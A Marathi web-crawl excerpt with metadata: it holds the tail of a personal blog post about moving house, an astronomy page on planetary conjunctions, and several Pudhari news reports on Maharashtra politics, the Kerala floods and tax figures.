खरेच ... आता तो एरिक दहावी सुद्धा पास नसेल. परंतु त्याने ट्रकमध्ये इतके सुंदर सामान लावले की संगणकाच्या - सदाशिवच्या भाषेत - तोंडात मारावे, आणि कसब्याच्या भाषेत - कानशील ..... वगैरे वगैरे. पण आहे की नाही गम्मत. माणसाचा मेंदु अचाट आहे. आपण अनेक अचाट गोष्टी अगदी लीलया करत असतो. साधे चालायला शिकवले त्या जपानी यंत्रमानवाला (नाव विसरलो ) तर काय शास्त्रज्ञांना आनंद) तर काय शास्त्रज्ञांना आनंद आणि आमची सईबाई पाचव्या महिन्यात आईच्या हातातला फोन हवा आणि तो खूप लांब आहे म्हणुन आईचा हात ओढते\nसामान आता नवीन घरी येउन पडले आहे. आता हळुहळु लागेल. सिद्धोबा प्रचंड खूष झाला. त्याचा आनंद बघुन धन्य वाटले. याचसाठी केला होता अट्टाहास\nत्यानंतर भाड्याचा ट्रक परत केला. आणि त्यानंतर अपार्टमेंटची स्वच्छता मोहीम. इथे भाड्याचे घर अगदी चकाचक करुन परत द्यावे लागते. नाही तर दंड होतो. त्यामुळे आम्ही एका मेक्सिकन सेविकेला (म्हणजे मराठीत मेड) पाचारण केले (आईशप्पथ गाढवाचे लग्न आठवले). त्या बाईने पण अफलातुन काम केले. १४५ डॉलर्स गेले... पण आपले कंबरडे वाचले. जाता जाता तिची पण तोंडभरुन स्तुती केली. तर ती घरी जाऊन तिची व्हिजिटिंग कार्ड्स घेऊन आली. त्यावर तिचा इमेल आयडी, फोन, सेल फोन, फॅक्स सगळे होते. मजा आहे. तंत्रज्ञान हे असे अगदी सफाईकामगारांपर्यंत पोचले असेल तर हा देश का पुढे नाही जाणार.\nअसो ... तर आता नवीन घरात नवीन सामान आणायची तयारी चालली आहे. दसर्यानिमित्त कालच ४६ इंची फ्लॅट स्क्रीन घेतला. भन्नाट टीव्ही आहे. आणि त्यावर आज ब्रेट फार्व्ह ने दोन सेकंद कमी असताना टचडाऊनचा जो झेल फेकला आणि सामना जिंकला ते एचडी मधुन पाहणे म्हणजे अगदी अफलातुन. अगदी स्वर्गच\n.जुन्या गोष्टी फेकुन देणं जरा जिवावरच येतं. हाच अनुभव माझा पण आहे. पोस्ट एकदम झकास...\nपोस्ट मस्तच झाली आहे. जुन्या गोष्टींमधल्या आठवणी, त्यातले आपण व आपले जवळचे यात खरेतर जीव अडकलेला असतो त्यामुळेच आता हे कधीही लागणार नाही याची जाणीव असूनही आपण मागे सारत राहतो.\nनवीन घराबद्दल अभिनंदन व विजयादशमीच्या शुभेच्छा\nब्रॆट फार्व्ह ने शेवटचे दोन सेकंद केलेला असतानाचा टच डाऊन्चा थ्रो अप्रतिमच होता. आमच्या घरातला आरडाओरडा टिपेला पोचलेला.:) एचडीवर तो पाहण्यातला आनंद भन्नाटच. आम्ही दोघेही डाय हार्ड फॆन ब्रॆटचे.:)\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00345.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://avakashvedh.com/prashnottare/14_grah_yuti.html", "date_download": "2018-09-25T17:23:37Z", "digest": "sha1:QFE3DXGNNGZH72CLD7CHYOILH6RZWOWK", "length": 8883, "nlines": 125, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nसूर्यानंतर ओळीत सर्व ग्रह पाहिल्यास प्रथम बुध, शुक्र नंतर तिसर्‍या क्रमांकावर पृथ्वी येते त्यानंतर मंगळ, गुरू, शनी, युरेनस, नेप्च्यून आणि प्लुटो हे ग्रह आहेत. हे सर्व ग्रह आपआपल्या कक्षेमध्ये सूर्याभोवती प्रदक्षिणा पूर्ण करतात. सूर्य प्रदक्षिणा करताना कधीकधी हा ग्रह सूर्यासापेक्ष एका रेषेमध्ये येतात, या घटनेस युती असे म्हणतात.\nपृथ्वी ही सूर्यमालेमध्ये तिसरी असल्याने बुध आणि शुक्र हे अंतर्ग्रह आहेत तर पृथ्वी पालीकडील ग्रह बहिर्ग्रह आहेत.\nवरील चित्रामध्ये आपणास कळेल की अंतर्ग्रह जेव्हा सूर्यासापेक्ष पृथ्वीच्या एका रेषेमध्ये येतात, तेव्हा अंतर्ग्रह जर पृथ्वीच्या जवळ असेल तर त्यास 'अंतर्युती' व सूर्याच्या विरुद्ध दिशेस असतील तर त्यास 'बहिर्युती' असे म्हणतात.\nवरील चित्रामध्ये आपणास कळेल की बहिर्ग्रह जेव्हा सूर्यासापेक्ष पृथ्वीच्या एका रेषेमध्ये येतात, तेव्हा अंतर्ग्रह जर पृथ्वीच्या जवळ असेल तर त्यास 'प्रतियुती' सूर्याच्या विरुद्ध दिशेस असतील तर त्यास 'युती' असे म्हणतात.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00346.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Konkan-Nanar-Project-Now-Shiv-Sena-and-BJP-directly-face-to-face-targeting-each-other/", "date_download": "2018-09-25T16:56:32Z", "digest": "sha1:VD4MKB2BQCESXMWZORYPNKC2CJW5DCEG", "length": 6566, "nlines": 38, "source_domain": "www.pudhari.news", "title": " ‘नाणार’वरून भाजप-सेना आमने-सामने | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › ‘नाणार’वरून भाजप-सेना आमने-सामने\nमुंबई : उदय तानपाठक\nकोकणातील नाणार प्रकल्पावरून आता शिवसेना आणि भाजप थेट आमने-सामने आले असून, युतीतील तणाव शिगेला पोहोचला आहे. नाणार येथील भूसंपादनाची अधिसूचना रद्द केल्याची घोषणा उद्योगमंत्री सुभाष देसाई यांनी केल्यानंतर अवघ्या तासा-दोन तासातच मंत्र्यांना असा अधिकारच नाही, असे सांगत मुख्यमंत्री देवेंद्र फडणवीस यांनी शिवसेनेचे पक्षप्रमुख उद्धव ठाकरे आणि उद्योगमंत्री सुभाष देसाई यांना पार तोंडघशी पाडले आहे. मुख्यमंत्र्यांच्या या विधानानंतर उद्धव ठाकरे काय भूमिका घेणार, याबद्दल उत्सुकता निर्माण झाली आहे.\nनाणार येथे आज उद्धव ठाकरे यांची जाहीर सभा झाली. मात्र, या प्रकल्पासाठीच्या भूसंपादनाची अधिसूचना उद्योगमंत्री सुभाष देसाई यांनी रद्द करावी आणि मगच नाणारमध्ये यावे; अन्यथा त्यांच्या दौर्‍यावर बहिष्कार टाकण्याचे नाणारवासीयांनी जाहीर केले होते. अखेर आज उद्धव यांच्या सभेतच उद्योगमंत्री सुभाष देसाई यांनी ही अधिसूचना रद्द केल्याचे जाहीर करून टाकले. पाठोपाठ उद्धव यांनीही आता हा प्रकल्प होणार नाही, त्यामुळे नाणारवासीयांनी आनंदोत्सव साजरा करावा, असे आवाहनही केले.\nमात्र, तिकडे नाणारमध्ये उद्योगमंत्र्यांनी केलेली घोषणा मुख्यमंत्री फडणवीस यांनी अवघ्या काही तासात मुंबईतून रद्दबातल ठरवली. अधिसूचना रद्द करण्याचे अधिकार उद्योगमंत्र्यांना नाहीतच, त्यांचे ते व्यक्‍तिगत मत असावे, असे सांगत फडणवीस यांनी शिवसेनेची चांगलीच कोंडी केली आहे. अधिसूचना रद्द करण्याचे सर्वाधिकार मुख्य सचिवांच्या अध्यक्षतेखालील उच्चाधिकार समितीकडे असून, ही समितीच याबाबत योग्य निर्णय घेईल, तसेच हा निर्णय महाराष्ट्राच्या आणि कोकणाच्या हिताचाच असेल, असेही मुख्यमंत्र्यांनी स्पष्ट केले आहे. मुख्यमंत्र्यांनी उद्धव ठाकरे यांनाच थेट अंगावर घेतल्याने आता शिवसेना कोणते पाऊल उचलते, हे पाहावे लागेल.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00346.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/National/Rivers-well-dry-In-Kerala/", "date_download": "2018-09-25T17:10:57Z", "digest": "sha1:3SM2IOBJS6QTGDSB42LL4J5LYBCIDWND", "length": 6367, "nlines": 37, "source_domain": "www.pudhari.news", "title": " पूरग्रस्त केरळमधील नद्या, विहिरी कोरड्या | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › National › पूरग्रस्त केरळमधील नद्या, विहिरी कोरड्या\nपूरग्रस्त केरळमधील नद्या, विहिरी कोरड्या\nगत महिन्यात केरळमध्ये झालेल्या मुसळधार पावसाने हाहाकार उडाला होता. प्रचंड प्रमाणात आलेल्या पुराच्या पाण्याने मोठ्या प्रमाणात जीवित आणि वित्तहानी केली होती. मात्र, आता राज्यातील अनेक भागांमध्ये अनेक नद्या व विहिरी कोरड्या पडल्या आहेत. या धक्‍कादायक प्रकाराने केरळ सरकारची झोप उडाली आहे. याबाबत अभ्यास करून अहवाल सादर करण्यासाठी संशोधकांना अभ्यास करण्याची सूचना राज्य सरकारने दिली आहे.\nमुख्यमंत्री पी. विजयन यांनी राज्य विज्ञान, तंत्रज्ञान आणि पर्यावरण परिषदेच्या संचालकांना अभ्यास करण्यासंदर्भात सांगितले आहे. आता या प्रकारामागील कारणे आणि त्यावरील उपायांबाबत मांडणी केली जाणार आहे. या कामामध्ये जवाहरलाल नेहरू ट्रॉपिक बॉटिनिक गार्डन अ‍ॅण्ड रिसर्च इन्स्टिट्यूट, केरळा फॉरेस्ट रिसर्च इस्टिट्यूट आणि मलबार बॉटनिकल गार्डन अ‍ॅण्ड इन्स्टिट्यूट फॉर प्लान्ट सायन्स या संस्था सहभागी आहेत. गत महिन्याभरात केरळमधील अनेक भागांतील नद्या आणि विहिरीच्या पाणी पातळीत कमालीची घट झाली आहे. तसेच भूजल पातळीतही घट झाली आहे. पुरामुळे भूगर्भातील रचनेत काही प्रमाणात बदल झाले असावेत. यामुळेच भूगर्भातील पाणी अन्य ठिकाणी जाण्याचा धोका असतो. यातूनच भूजलपातळी कमी झाल्याचे दिसून येत आहे. पेरियार, भारथपुझा, पम्पा आणि कबानी आदी नद्या कोरड्या पडण्याच्या मार्गावर आहेत. या नद्यांच्या प्रदेशात येणार्‍या अनेक जिल्ह्यांतील विहिरीही कोरड्या पडल्या आहेत.\nयासंदर्भातील अभ्यास दोन पातळ्यांवर होणार असून, संशोधकांची दोन पथके यासाठी नियुक्‍त करण्यात आली आहेत. ज्यामध्ये पहिला अभ्यास जैवविविधतेवर होणार आहे, तर दुसरा अभ्यास या भागातील प्राण्यांची जीवनशैली आणि त्याचा पर्यावरणावर होणारा परिणाम यावर होणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00346.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Ajit-Pawar-Bhide-Guruji-comment-in-pune/", "date_download": "2018-09-25T16:51:29Z", "digest": "sha1:FCEUQORPSAHSDCKCOGKNG3M6GIERM7ZF", "length": 9165, "nlines": 39, "source_domain": "www.pudhari.news", "title": " द्वेषाची गरळ ओकणार्‍यांना गुरुजी कसे म्हणायचे? | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › द्वेषाची गरळ ओकणार्‍यांना गुरुजी कसे म्हणायचे\nद्वेषाची गरळ ओकणार्‍यांना गुरुजी कसे म्हणायचे\nसमाजामध्ये ‘गुरुजी’ हे नाव आदराने आणि अचूक मार्गदर्शक म्हणून घेतले जाते. मात्र, या नावाला काळिमा फासण्याचे काम काही लोक सातत्याने करत आहेत. बागेतील आंबे खाल्ल्यावर मुले होतात, असे बोलून स्रियांना कमी लेखत आहेत. संतांपेक्षा मनु श्रेष्ठ आहे, अशी सामाजिक द्वेष निर्माण करणारी गरळ ओकणार्‍यांना मग गुरुजी कसे म्हणायचे, असा सवाल उपस्थित करत राष्ट्रवादी काँग्रेसचे नेते आणि माजी उपमुख्यमंत्री अजित पवार यांनी नाव न घेता भिडे गुरुजींवर टिकास्त्र सोडले.\nशहर राष्ट्रवादी काँग्रेस पार्टी आणि चिंतामणी ज्ञानपीठच्या संयुक्त विद्यमाने बालगंधर्व रंगमंदिर येथे गुरुजन गौरव सोहळ्याचे आयोजन करण्यात आले होते. या सोहळ्यात अजित पवार यांच्या हस्ते ज्येष्ठ सामाजिक कार्यकर्त्या विद्या बाळ, नाट्यसंमेलनाच्या अध्यक्षा किर्ती शिलेदार, शास्त्रीय नृत्य गुरू सुचेता भिडे - चापेकर, सामाजिक कार्यकर्त्या प्रमिला सांकला यांचा सन्मान करण्यात आला, या वेळी अजित पवार बोलत होते. याप्रसंगी महापालिकेतील विरोधी पक्षनेते चेतन तुपे, माजी आमदार बापू पठारे, माजी महापौर अंकुश काकडे, बापूसाहेब पठारे, रुपाली चाकणकर, भाऊसाहेब भोईर, रवींद्र माळवदकर, भगवान साळुंके, राकेश कामठे, मनाली भिलारे आदी उपस्थित होते.\nपवार म्हणाले, महात्मा फुले आणि सावित्रीबाई फुले यांनी आपल्या देशात महिला सक्षमीकरणासाठी चळवळ उभारली, ती अविरत सुरू आहे. शरद पवार यांनी सैन्य दलात महिलांना प्रवेश देण्याचा निर्णय घेतला, निवडणुकीत महिलांसाठी 33 टक्‍के आरक्षण, स्थानिक स्वराज्य संस्थांमध्ये 50 टक्के आरक्षण, महिला सक्षमीकरणासाठी बचत गटांची संकल्पना आणली आणि राबविली. परंतु, सावित्रीबाईंनी ज्या भिडे वाड्यातून स्त्री शिक्षणाची ज्योत पेटवली, त्या भिडे नावाशी साधर्म्य असलेले लोक माझ्या बागेतील आंबे खाल्ल्याने मुले होतात. फक्त मुलेच होतात मुली का होत नाहीत स्रियांना कमी लेखण्याचा हा डाव आहे, असा आरोपही त्यांनी यावेळी केला.\nअप्पा रेणुसे, दत्तात्रय धनकवडे, विशाल तांबे, अभय मांढरे, हर्षवर्धन मानकर यांनी या कार्यक्रमाचे संयोजन केले होते.अप्पा रेणुसे यांनी स्वागत आणि गौरवार्थी गुरुजनांचा परिचय करून दिला. विशाल तांबे यांनी आभार मानले.\nसाप कोण सोडणार होते; एकदा नावे जाहीर कराच\nआषाढी वारी दरम्यान कोण पंढरपूरमध्ये साप सोडणार होते, हे समाजाच्या समोर यायला हवे. राज्याच्या महसुल मंत्र्यांनी बोलण्यापेक्षा आणि आरोप करण्यापेक्षा त्यांच्याकडे असलेले रेकॉर्डींग जाहीर करावे. एकदाच ‘दुध का दुध आणि पानी का पानी’ होऊन जाऊ दे, असे आव्हान माजी उपमुख्यमंत्री अजित पवार यांनी महसुलमंत्री चंद्रकांत पाटील यांना दिले आहे. मराठा समाजाला आरक्षण मिळावे, यासाठी राज्यात 58 मोर्चे शांततेत काढण्यात आले. यानंतरही सरकारची संवेदना जागी झाली नाही. उलट वेगवेगळी वक्तव्ये करून जखमेवर मीठ चोळण्याचा, डिवचण्याचा प्रयत्न केला गेला. वारीत साप सोडण्याचे वक्तव्य कोणी केले असेल, तर ते समाजापुढे आले पाहिजे, असे अजित पवार यांनी पत्रकारांशी बोलताना सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00346.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/Increase-in-the-number-of-income-tax-payers-by-33-thousand-in/", "date_download": "2018-09-25T16:56:57Z", "digest": "sha1:YXFW2WF5RI6SGTTWYBGA66Z4SBGMSCYL", "length": 8026, "nlines": 36, "source_domain": "www.pudhari.news", "title": " आयकरदात्यांच्या संख्येत 33 हजारांची वाढ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › आयकरदात्यांच्या संख्येत 33 हजारांची वाढ\nआयकरदात्यांच्या संख्येत 33 हजारांची वाढ\nसांगली : शशिकांत शिंदे\nदेशात गेल्या आर्थिक वर्षात लागू केलेली नोटाबंदी आणि त्यानंतर लागू केलेली जीएसटी यामुळे जिल्ह्यात आयकर भरणारांची संख्या वाढत असून ती 1 लाख 20 हजारापर्यंत गेली आहे. तीन वर्षात 33 हजाराने ही संख्या वाढली असून यंदा त्यात वाढ होईल, असा अंदाज आहे. दोन वर्षांपूर्वी आयकरातून पावणे दोनशे कोटी रुपये उत्पन्न गोळा झाले. यंदा ते चारशे कोटीपर्यंत जाईल, असा आयकर विभागाचा अंदाज आहे.\nदरम्यान, बँकांत मोठ्या प्रमाणात रकमा भरूनही आयकर न भरलेल्या 1 हजार 136 लोकांना गेल्या वर्षभरात नोटिसा काढण्यात आल्या. पंतप्रधान नरेंद्र मोदी यांनी सत्तेवर आल्यानंतर नोटाबंदी आणि जीएसटी हे दोन धडाकेबाज निर्णय घेतले. नोटाबंदीनंतर पैसे भरण्यासाठी बँकासमोर रांगा लागल्या. या निर्णयाविरोधात आणि बाजूने अशा दोन्ही पध्दतीने प्रतिक्रिया उमटल्या. नोटाबंदीचा फायदा कितपत झाला आणि अच्छे दिन आले का, हा मुद्दा वादादित असला तरी जिल्ह्यात आयकर भरणार्‍यांच्या संख्येत वाढ होत असल्याचे दिसत आहे. जिल्ह्यात 2014-15 मध्ये सुमारे 87 हजार लोकांनी आयकर भरला होता. त्यानंतर गेल्या वर्षी मार्च अखेर आयकर भरणार्‍यांची संख्या 1 लाख 20 हजार झाली. यंदा आतापर्यंत 1 लाख 6 हजार लोकांनी आयकर भरला आहे. मार्च अखेरपर्यंत गेल्या वर्षीपेक्षा जास्त ग्राहक आयकर भरतील, असा अंदाज आयकर विभागाचे आयुक्त शिवानंद कलकेरी यांनी व्यक्त केला आहे.\nजिल्ह्यात आयकर भरणारांची संख्या वाढल्याने विभागाच्या उत्पन्नातही वाढ झाली आहे. या विभागाला 15-16 मध्ये 174 कोटी उत्पन्न मिळाले होते. गेल्या वर्षी ते 287 कोटी गोळा झाले. त्यात 45 टक्केची वाढ गृहित धरून ते यंदासाठी मार्चअखेरपर्यंत 402 कोटी रुपयांचे टार्गेट देण्यात आले आहे. आतापर्यंत 228 कोटी रुपये वसूल झाले असून मार्चअखेरपर्यंत 402 कोटी वसूल होतील, असा अंदाज आहे.\nनोटाबंदीनंतर मोठ्या प्रमाणात लोकांनी पैसे बँकांत भरले. यातील 1 हजार 136 लोकांनी मोठ्या रकमा बँकांत भरल्या मात्र आयकर भरला नाही. त्यामुळे या विभागाने त्यांना नोटिसा काढल्या. त्यानंतर यातील बहुतेकांनी आयकर भरला मात्र अद्यापही काही लोक आयकर भरण्याचे बाकी आहेत. त्यांनी प्रत्येकी तीस ते चाळीस लाख रुपये बँकेत भरलेले आहेत. या लोकांनी मार्च अखेरपर्यंत आयकर भरला नाही तर त्यांच्यावर कारवाई करण्यात येणार आहे, असे कलकेरी यांनी सांगितले. मार्चपर्यंत त्यांनी रक्कम भरल्यास 35 टक्के; मात्र मार्चनंतर 70 टक्केपर्यंत दंडात्मक रक्कम भरावी लागणार आहे. त्यामुळे लोकांनी शेवटच्या काही दिवसात गर्दी करण्यापेक्षा वेळेवर आयकर भरावा, असे आवाहन आयकर विभागाने केले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00346.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/NCP-support-congress-in-kadegaon-palus-Byelection-said-jayant-patil/", "date_download": "2018-09-25T16:56:17Z", "digest": "sha1:SHY5DPCRUS34Q3OUU6ONXV2AOGAF237B", "length": 5603, "nlines": 37, "source_domain": "www.pudhari.news", "title": " कडेगाव-पलूसच्या पोटनिवडणुकीत राष्ट्रवादीचा काँग्रेसला पाठिंबा-जयंत पाटील | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › कडेगाव-पलूसच्या पोटनिवडणुकीत राष्ट्रवादीचा काँग्रेसला पाठिंबा-जयंत पाटील\nकडेगाव-पलूसच्या पोटनिवडणुकीत राष्ट्रवादीचा काँग्रेसला पाठिंबा-जयंत पाटील\nसांगलीतील पलूस-कडेगाव विधानसभा मतदारसंघातील पोटनिवडणुकीत राष्ट्रवादी काँग्रेस उमेदवार उभा करणार नसल्याची घोषणा राष्ट्रवादी काँग्रेसचे प्रदेशाध्यक्ष जयंत पाटील यांनी केली.\nज्येष्ठ नेते, स्व. पी. डी. पाटील यांना त्यांच्या निवासस्थानी अभिवादन केल्यानंतर आ. जयंत पाटील यांनी कराड (जि. सातारा) येथे पत्रकारांशी संवाद साधला. यावेळी आमदार बाळासाहेब पाटील, दिलीप पाटील, राष्ट्रवादीचे सातारा जिल्हाध्यक्ष सुनिल माने, कराड पंचायत समितीचे माजी सभापती देवराज पाटील उपस्थित होते.\nराष्ट्रवादी काँग्रेस व राष्ट्रीय काँग्रेस पार्टी यांच्यात जागा वाटपाबाबत चर्चा सुरू होती. काँग्रेसचे सरचिटणीस मोहन प्रकाश व राष्ट्रवादीचे प्रफुल्ल पटेल यांच्यासह वरिष्ठांशी विचारविनिमय करुन निर्णय घेतले आहेत. लोकसभेच्या दोन जागा गोंदिया राष्ट्रवादी पार्टी व पालघर काँग्रेस पक्ष लढवेल. विधानसभेची पलूसची जागा ज्येष्ठ नेते डॉ पतंगराव कदम यांचे निधन झाल्यामुळे या पलूस जागेवर डॉ. विश्वजित कदम लढतील असे दिसते. काँग्रेस पक्षाला पलूस जागेसाठी राष्ट्रवादीचा पाठिंबा देण्याची घोषणा आज मी या ठिकाणी करीत आहे. पलूसच्या जागेवर राष्ट्रवादी काँग्रेस पार्टी आपला उमेदवार उभा करणार नाही. असेही जयंत पाटील यांनी पत्रकारांना सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00346.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/karad-maratha-women-protest-for-maratha-community-reservation/", "date_download": "2018-09-25T17:39:22Z", "digest": "sha1:6EYNDH6LYICDMDRDDIEJM7ISLMZOYSSP", "length": 4294, "nlines": 35, "source_domain": "www.pudhari.news", "title": " कराडमध्ये मराठा भगिनींचे ठिय्या आंदोलन | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › कराडमध्ये मराठा भगिनींचे ठिय्या आंदोलन\nकराडमध्ये मराठा भगिनींचे ठिय्या आंदोलन\nयेथील दत्त चौक परिसरात गुरूवारी सलग दुसर्‍या दिवशीही मराठा समाजातील भगिनींनी ठिय्‍या आंदोलन सुरूच ठेवले. हे आंदोलन बुधवार दिं १ पासून कराडात मराठा भगिनींनींकडून सुरू करण्यात आले आहे.\nगुरुवारी दुसर्‍या दिवशी राष्ट्रवादीचे आमदार बाळासाहेब पाटील, जिल्हा परिषद सदस्य अॅड. उदयसिंह पाटील, लोकशाही आघाडीचे अध्यक कराडचे नगरसेवक सौरभ पाटील, नगरसेवक अतुल शिंदे, माजी बांधकाम सभापती नगरसेवक बाळासाहेब यादव, नगरसेवक राजेंद्र माने, माजी आरोग्य सभापती विजय वाटेगावकर, बांधकाम सभापती हणमंतराव पवार, माजी नगरसेवक गंगाधर जाधव यांच्यासह विविध क्षेत्रातील मान्यवर, कराडमधील खते व बियाणे विक्रेत्यांनीही ठिय्या आंदोलनास पाठिंबा दिला. ठिय्या आंदोलनाचा दुसरा दिवस असून मागण्या मान्य होईपर्यंत आंदोलन सुरू ठेवण्याचा निर्धार मराठा भगिनींनी व्यक्त केला आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही 